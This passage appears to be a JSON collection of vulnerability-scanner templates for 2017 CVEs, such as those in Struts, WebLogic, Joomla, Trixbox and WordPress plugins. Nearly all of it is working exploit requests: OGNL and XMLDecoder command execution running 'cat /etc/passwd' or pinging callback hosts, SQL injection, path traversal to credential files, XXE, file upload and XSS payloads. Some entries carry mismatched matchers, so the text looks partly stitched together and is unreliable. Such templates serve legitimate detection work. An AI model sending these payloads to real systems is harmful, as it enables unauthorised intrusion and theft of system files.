{{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["{{md5(string)}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-5689","info":{"name":"Intel Active Management - Authentication Bypass","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n","GET /hw-sys.htm HTTP/1.1\nHost: {{Hostname}}\n"],"digest-username":"admin","matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["System Status","Active Management Technology"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-11610","info":{"name":"XML-RPC Server - Remote Code Execution","severity":"high"},"requests":[{"raw":["POST /RPC2 HTTP/1.1\nHost: {{Hostname}}\nAccept: text/xml\nContent-type: text/xml\n\n\n supervisor.supervisord.options.warnings.linecache.os.system\n \n \n nslookup {{interactsh-url}}\n \n \n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"header","words":["text/xml"]},{"type":"word","part":"body","words":["",""],"condition":"and"}]}]},{"id":"CVE-2017-3131","info":{"name":"FortiOS 5.4.0 to 5.6.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /logincheck HTTP/1.1\nHost: {{Hostname}}\nContent-Type: text/plain;charset=UTF-8\n\najax=1&username={{username}}&secretkey={{password}}\n","GET /ng/fortiview/app/15832%22%20onmouseover=alert(document.domain)%20x=%22y HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["id_15832\" onmouseover=\"alert(document.domain)\""]},{"type":"word","part":"content_type_2","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-11165","info":{"name":"DataTaker DT80 dEX 1.50.012 - Information Disclosure","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/services/getFile.cmd?userfile=config.xml"],"matchers-condition":"and","matchers":[{"type":"word","words":["COMMAND_SERVER","","config id=\"config"],"condition":"and"},{"type":"word","part":"header","words":["text/xml"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-9841","info":{"name":"PHPUnit - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: text/html\n\n\n","GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: text/html\n\n\n","GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: text/html\n\n\n","GET /laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: text/html\n\n\n","GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: text/html\n\n\n","GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: text/html\n\n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5(string)}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-12794","info":{"name":"Django Debug Page - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/create_user/?username=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-14135","info":{"name":"OpenDreambox 2.0.0 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /webadmin/script?command=|%20nslookup%20{{interactsh-url}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["/bin/sh","/usr/script"],"condition":"and"},{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-11512","info":{"name":"ManageEngine ServiceDesk 9.3.9328 - Arbitrary File Retrieval","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/fosagent/repl/download-file?basedir=4&filepath=..\\..\\Windows\\win.ini","{{BaseURL}}/fosagent/repl/download-snapshot?name=..\\..\\..\\..\\..\\..\\..\\Windows\\win.ini"],"stop-at-first-match":true,"matchers":[{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"}]}]},{"id":"CVE-2017-14622","info":{"name":"WordPress 2kb Amazon Affiliates Store <2.1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=kbAmz&kbAction=demo%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1\nHost: {{Hostname}}\n"],"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 500","contains(content_type_2, \"text/html\")","contains(body_2, \"\")","contains(body_2, \"2kb-amazon-affiliates-store\")"],"condition":"and"}]}]},{"id":"CVE-2017-18517","info":{"name":"Pinterest by BestWebSoft < 1.0.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/bws-pinterest/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \">\\\">All\")","contains(body_3, \"Pinterest by BestWebSoft\")"],"condition":"and"}]}]},{"id":"CVE-2017-18564","info":{"name":"Sender by BestWebSoft < 1.2.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/sender/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \">\\\">All\")","contains(body_3, \"Sender by BestWebSoft\")"],"condition":"and"}]}]},{"id":"CVE-2017-18500","info":{"name":"Social Buttons Pack by BestWebSof < 1.1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/social-buttons-pack/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \">\\\">All\")","contains(body_3, \"Social Buttons Pack by\")"],"condition":"and"}]}]},{"id":"CVE-2017-9140","info":{"name":"Reflected XSS - Telerik Reporting Module","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1)"],"matchers-condition":"and","matchers":[{"type":"word","words":["#000000\"onload=\"prompt(1)","Telerik.ReportViewer.axd?name=Resources"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-14535","info":{"name":"Trixbox - 2.8.0.4 OS Command Injection","severity":"high"},"requests":[{"raw":["GET /maint/modules/home/index.php?lang=english|cat%20/etc/passwd HTTP/1.1\nHost: {{Hostname}}\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: de,en-US;q=0.7,en;q=0.3\nAuthorization: Basic bWFpbnQ6cGFzc3dvcmQ=\nConnection: close\nCache-Control: max-age=0\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-18505","info":{"name":"BestWebSoft's Twitter < 2.55 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/twitter-plugin/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \">\\\">All\")","contains(body_3, \"Twitter Button by\")"],"condition":"and"}]}]},{"id":"CVE-2017-8917","info":{"name":"Joomla! <3.7.1 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5({{num}})),1)"],"matchers":[{"type":"word","part":"body","words":["{{md5(num)}}"]}]}]},{"id":"CVE-2017-10974","info":{"name":"Yaws 1.91 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/%5C../ssl/yaws-key.pem"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["!contains(tolower(body), \"\\\">All\")","contains(body_3, \"Pagination by BestWebSoft\")"],"condition":"and"}]}]},{"id":"CVE-2017-17736","info":{"name":"Kentico - Installer Privilege Escalation","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/CMSInstall/install.aspx"],"matchers-condition":"or","matchers":[{"type":"word","words":["Kentico","Database Setup","SQLServer"],"condition":"and"},{"type":"word","words":["Database Setup","SQLServer"],"condition":"and"}]}]},{"id":"CVE-2017-9833","info":{"name":"BOA Web Server 0.94.14 - Arbitrary File Access","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/passwd%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-17059","info":{"name":"WordPress amtyThumb Posts 8.1.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/amty-thumb-recent-post/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","internal":true,"words":["Amty Thumb","Tags:"],"condition":"and","case-insensitive":true}]},{"method":"POST","path":["{{BaseURL}}/wp-content/plugins/amty-thumb-recent-post/amtyThumbPostsAdminPg.php?%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E=1"],"body":"amty_hidden=1","matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-7615","info":{"name":"MantisBT <=2.30 - Arbitrary Password Reset/Admin Access","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/verify.php?id=1&confirm_hash=","{{BaseURL}}/mantis/verify.php?id=1&confirm_hash=","{{BaseURL}}/mantisBT/verify.php?id=1&confirm_hash=","{{BaseURL}}/mantisbt-2.3.0/verify.php?id=1&confirm_hash=","{{BaseURL}}/bugs/verify.php?confirm_hash=&id=1"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\\\">All\")","contains(body_3, \"Google Maps by BestWebSoft\")"],"condition":"and"}]}]},{"id":"CVE-2017-9791","info":{"name":"Apache Struts2 S2-053 - Remote Code Execution","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/integration/saveGangster.action"],"body":"name=%25%7b%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3f%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3d%23%64%6d%29%3a%28%28%23%63%6f%6e%74%61%69%6e%65%72%3d%23%63%6f%6e%74%65%78%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%3d%23%63%6f%6e%74%61%69%6e%65%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%6f%6e%74%65%78%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%29%29%2e%28%23%71%3d%28{{num1}}%2a{{num2}}%29%29%2e%28%23%71%29%7d&age=10&__checkbox_bustedBefore=true&description=\n","headers":{"Content-Type":"application/x-www-form-urlencoded"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{result}}","added successfully"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-7855","info":{"name":"IceWarp WebMail 11.3.1.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/webmail/?language=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["lang=\"\">","IceWarp"],"condition":"and","case-insensitive":true},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-18638","info":{"name":"Graphite <=1.1.5 - Server-Side Request Forgery","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/composer/send_email?to={{rand_text_alpha(4)}}@{{rand_text_alpha(4)}}&url=http://{{interactsh-url}}"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2017-9822","info":{"name":"DotNetNuke 5.0.0 - 9.3.0 - Cookie Deserialization Remote Code Execution","severity":"high"},"requests":[{"raw":["GET /__ HTTP/1.1\nHost: {{Hostname}}\nAccept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01\nX-Requested-With: XMLHttpRequest\nCookie: dnn_IsMobile=False; DNNPersonalization=WriteFileC:\\Windows\\win.ini\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["[extensions]","for 16-bit app support"],"condition":"and"},{"type":"status","status":[404]}]}]},{"id":"CVE-2017-18501","info":{"name":"Social Login by BestWebSoft < 0.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/social-login-bws/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \">\\\">All\")","contains(body_3, \"Social Login by\")"],"condition":"and"}]}]},{"id":"CVE-2017-17043","info":{"name":"WordPress Emag Marketplace Connector 1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}"],"matchers":[{"type":"word","internal":true,"words":["/wp-content/plugins/emag-marketplace-connector/"]}]},{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/emag-marketplace-connector/templates/order/awb-meta-box.php?post=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-3133","info":{"name":"Fortinet FortiOS < 5.6.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /logincheck HTTP/1.1\nHost: {{Hostname}}\nContent-Type: text/plain;charset=UTF-8\n\najax=1&username={{username}}&secretkey={{password}}\n","POST /p/system/replacemsg/edit/sslvpn/sslvpn-login/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-CSRFTOKEN: {{csrf}}\nDNT: 1\n\ncsrfmiddlewaretoken={{csrf}}&buffer=ABC%3C%2Ftextarea%3E%0A%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E%0A\n","GET /p/system/replacemsg-group/edit/None/sslvpn/sslvpn-login/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-CSRFTOKEN: {{csrf}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_3","words":[""]},{"type":"word","part":"header_3","words":["text/html"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","part":"header","name":"csrf","group":2,"regex":["ccsrftoken_([0-9_a-z]+)=\"([A-Z0-9]+)\";"],"internal":true}]}]},{"id":"CVE-2017-17731","info":{"name":"DedeCMS 5.7 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\\%27%20or%20mid=@`\\%27`%20/*!50000union*//*!50000select*/1,2,3,md5({{num}}),5,6,7,8,9%23@`\\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-14651","info":{"name":"WSO2 Data Analytics Server 3.1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/carbon/resources/add_collection_ajaxprocessor.jsp?collectionName=%3Cimg%20src=x%20onerror=alert(document.domain)%3E&parentPath=%3Cimg%20src=x%20onerror=alert(document.domain)%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","Failed to add new collection"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]}]}]},{"id":"CVE-2017-15287","info":{"name":"Dreambox WebControl 2.0.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /webadmin/pkg?command= HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n"],"matchers":[{"type":"word","words":["Unknown command: "]}]}]},{"id":"CVE-2017-18502","info":{"name":"Subscriber by BestWebSoft < 1.3.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/subscriber/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \">\\\">All\")","contains(body_3, \"Subscriber by\")"],"condition":"and"}]}]},{"id":"CVE-2017-10271","info":{"name":"Oracle WebLogic Server - Remote Command Execution","severity":"high"},"requests":[{"raw":["POST /wls-wsat/CoordinatorPortType HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nAccept-Language: en\nContent-Type: text/xml\n\n\n\n \n \n \n \n \n \n /bin/bash\n \n \n -c\n \n \n ping -c 1 {{interactsh-url}}\n \n \n \n \n \n \n \n\n","POST /wls-wsat/CoordinatorPortType HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nAccept-Language: en\nContent-Type: text/xml\n\n\n \n \n \n \n \n \n \n \n \n \n {{randstr}}\n \n \n \n \n \n \n \n\n"],"stop-at-first-match":true,"matchers-condition":"or","matchers":[{"type":"dsl","dsl":["regex(\"java.lang.ProcessBuilder || 0\", body)","contains(interactsh_protocol, \"dns\")","status_code == 500"],"condition":"and"},{"type":"dsl","dsl":["body == \"{{randstr}}\"","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2017-12629","info":{"name":"Apache Solr <= 7.1 - XML Entity Injection","severity":"critical"},"requests":[{"raw":["GET /solr/admin/cores?wt=json HTTP/1.1\nHost: {{Hostname}}\n","GET /solr/{{core}}/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22https%3A%2F%2F{{interactsh-url}}%2F%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}],"extractors":[{"type":"regex","name":"core","group":1,"regex":["\"name\"\\:\"(.*?)\""],"internal":true}]}]},{"id":"CVE-2017-18562","info":{"name":"Error Log Viewer by BestWebSoft < 1.0.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/error-log-viewer/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \">\\\">All\")","contains(body_3, \"Error Log Viewer by BestWebSoft\")"],"condition":"and"}]}]},{"id":"CVE-2017-5638","info":{"name":"Apache Struts 2 - Remote Command Execution","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: %{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#cmd=\"cat /etc/passwd\",#cmds={\"/bin/bash\",\"-c\",#cmd},#p=new java.lang.ProcessBuilder(#cmds),#p.redirectErrorStream(true),#process=#p.start(),#b=#process.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#rw=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#rw.println(#e),#rw.flush())}\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-9416","info":{"name":"Odoo 8.0/9.0/10.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/base_import/static/c:/windows/win.ini","{{BaseURL}}/base_import/static/etc/passwd"],"stop-at-first-match":true,"matchers-condition":"or","matchers":[{"type":"dsl","dsl":["regex('root:.*:0:0:', body)","status_code == 200"],"condition":"and"},{"type":"dsl","dsl":["contains(body, 'bit app support')","contains(body, 'fonts')","contains(body, 'extensions')","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2017-12583","info":{"name":"DokuWiki - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/dokuwiki/doku.php?id=wiki:welcome&at="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Unable to parse at parameter \"\"."]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-16806","info":{"name":"Ulterius Server < 1.9.5.0 - Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini","{{BaseURL}}/.../.../.../.../.../.../.../.../.../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:","\\[(font|extension|file)s\\]"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-18492","info":{"name":"Contact Form to DB by BestWebSoft < 1.5.7 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/contact-form-to-db/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \">\\\">All\")","contains(body_3, \"Contact Form to DB by\")"],"condition":"and"}]}]},{"id":"CVE-2017-18496","info":{"name":"Htaccess by BestWebSoft < 1.7.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/htaccess/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \">\\\">All\")","contains(body_3, \"Htaccess by\")"],"condition":"and"}]}]},{"id":"CVE-2017-5871","info":{"name":"Odoo <= 8.0-20160726 & 9.0 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/web/session/logout?redirect=https://oast.me","{{BaseURL}}/web/session/logout?redirect=https%3a%2f%2foast.me%2f","{{BaseURL}}/web/dbredirect?redirect=https%3a%2f%2foast.me%2f"],"stop-at-first-match":true,"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\-_\\.@]*)oast\\.me.*$"]}]}]},{"id":"CVE-2017-15715","info":{"name":"Apache httpd <=2.4.29 - Arbitrary File Upload","severity":"high"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKc8fBVDo558U4hbJ\n\n------WebKitFormBoundaryKc8fBVDo558U4hbJ\nContent-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}.php\"\n\n{{randstr_1}}\n\n------WebKitFormBoundaryKc8fBVDo558U4hbJ\nContent-Disposition: form-data; name=\"name\"\n\n{{randstr}}.php\\x0A\n------WebKitFormBoundaryKc8fBVDo558U4hbJ--\n","GET /{{randstr}}.php\\x0A HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip,deflate\nAccept: */*\n"],"matchers":[{"type":"dsl","dsl":["contains(body_2, \"{{randstr_1}}\")"]}]}]},{"id":"CVE-2017-7269","info":{"name":"Windows Server 2003 & IIS 6.0 - Remote Code Execution","severity":"critical"},"requests":[{"method":"OPTIONS","path":["{{BaseURL}}"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["regex(\"\", dasl)","regex(\"[\\d]+(,\\s+[\\d]+)?\", dav)","regex(\".*?PROPFIND\", public)","regex(\".*?PROPFIND\", allow)"],"condition":"or"},{"type":"word","part":"header","words":["IIS/6.0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-7925","info":{"name":"Dahua Security - Configuration File Disclosure","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/current_config/passwd"],"matchers":[{"type":"dsl","dsl":["contains(to_lower(body), \"ugm\")","contains(to_lower(body), \"id:name:passwd\")","status_code == 200"],"condition":"and"}],"extractors":[{"type":"regex","group":1,"regex":["1:(.*:.*):1:CtrPanel"]}]}]},{"id":"CVE-2017-14537","info":{"name":"Trixbox 2.8.0 - Path Traversal","severity":"medium"},"requests":[{"raw":["POST /maint/index.php?packages HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nReferer: {{Hostname}}/maint/index.php?packages\nCookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; 